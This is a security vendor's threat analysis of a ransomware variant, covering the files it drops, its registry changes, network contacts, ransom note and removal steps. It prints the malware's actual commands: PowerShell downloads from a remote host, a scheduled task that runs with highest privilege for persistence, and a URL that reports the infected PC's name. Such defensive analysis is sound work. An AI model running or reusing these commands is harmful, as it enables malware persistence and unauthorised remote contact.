RANSOM_MATRIX.THIOCAH

September 27, 2018
 Analysis by: Arvin Roi Macaraeg
 ALIASES:

Trojan:Win32/Skeeyah.A!rfn (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

It drops files as ransom note.

  TECHNICAL DETAILS

File Size:

1,217,024 bytes

File Type:

EXE

Memory Resident:

No

Initial Samples Received Date:

03 Sep 2018

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following copies of itself into the affected system and executes them:

  • %System Root%\{Malware Path}\{Random Filename}.exe

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

It drops the following files:

  • %System Root%\{Malware Path}\{Random numbers}_log.txt
  • %System Root%\{Malware Path}\bad_{Random Characters}.txt
  • %System Root%\{Malware Path}\elog_{Random Characters}.txt
  • %System Root%\{Malware Path}\LFIN_{Random Characters}.txt
  • %System Root%\{Malware Path}\{Random Filename}.bat
  • %Application Data%\{Random Filename}.bat
  • %Application Data%\{Random Filename}.vbs

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, and 8.)

It adds the following processes:

  • cmd.exe /C copy /V /Y "%System Root%\{Malware Path}\1.exe" "%System Root%\{Malware Path}\{Random Filename}.exe
  • cmd.exe /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://{BLOCKED}nalip.com/raw')">"%System Root%\{Malware Path}\{Random Filename}txt"
  • powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://{BLOCKED}nalip.com/raw')"
  • cmd.exe /C reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "%Application Data%\{Random Filename}}.bmp" /f & reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
  • cmd.exe reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "%Application Data%\{Random Filename}.bmp" /f
  • cmd.exe reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
  • cmd.exe reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
  • cmd.exe wscript //B //Nologo "%Application Data%\{Random Filename}.vbs"
  • cmd.exe schtasks /Create /tn DSHCA /tr "%Application Data%\{Random Filename}.bat" /sc minute /mo 5 /RL HIGHEST /F
  • cmd.exe schtasks /Run /I /tn DSHCA

Other System Modifications

This Ransomware changes the desktop wallpaper by modifying the following registry entries:

HKEY_CURRENT_USER\Control Panel\Desktop
Wallpaper = "%Application Data%\{Random Filename}.bmp"

HKEY_CURRENT_USER\Control Panel\Desktop
TileWallpaper = "0"

HKEY_CURRENT_USER\Control Panel\Desktop
WallpaperStyle = "0"

Other Details

This Ransomware connects to the following URL(s) to check for an Internet connection:

  • http://{BLOCKED}nalip.com/raw

It connects to the following possibly malicious URL:

  • http://{BLOCKED}at.{BLOCKED}tapp.com/addrecord.php?apikey=kok8_api_key&compuser={PC NAME}&sid=9wJqcF9Oob8McJkB&phase=START

However, as of this writing, the said sites are inaccessible.

Ransomware Routine

This Ransomware appends the following extension to the file name of the encrypted files:

  • [{BLOCKED}8@{BLOCKED}ail.com ].{Random Filename}.KOK8

It drops the following file(s) as ransom note:

  • %Application Data%\{Random Filename}.bmp
  • {Encrypted Folder}\#KOK8_README#.rtf

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, and 8.)

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.482.05

FIRST VSAPI PATTERN DATE:

03 Sep 2018

VSAPI OPR PATTERN File:

14.483.00

VSAPI OPR PATTERN Date:

04 Sep 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %System Root%\{Malware Path}\{Random Filename}.exe
  • %System Root%\{Malware Path}\{Random numbers}_log.txt
  • %System Root%\{Malware Path}\bad_{Random Characters}.txt
  • %System Root%\{Malware Path}\elog_{Random Characters}.txt
  • %System Root%\{Malware Path}\LFIN_{Random Characters}.txt
  • %System Root%\{Malware Path}\{Random Filename}.bat
  • %Application Data%\{Random Filename}.bat
  • %Application Data%\{Random Filename}.vbs
  • %Application Data%\{Random Filename}.bmp
  • {Encrypted Folder}\#KOK8_README#.rtf

Step 5

Reset your Desktop properties

[ Learn More ]

Step 6

Scan your computer with your Trend Micro product to delete files detected as RANSOM_MATRIX.THIOCAH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as RANSOM_MATRIX.THIOCAH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Restore encrypted files from backup.


Did this description help? Tell us how we did.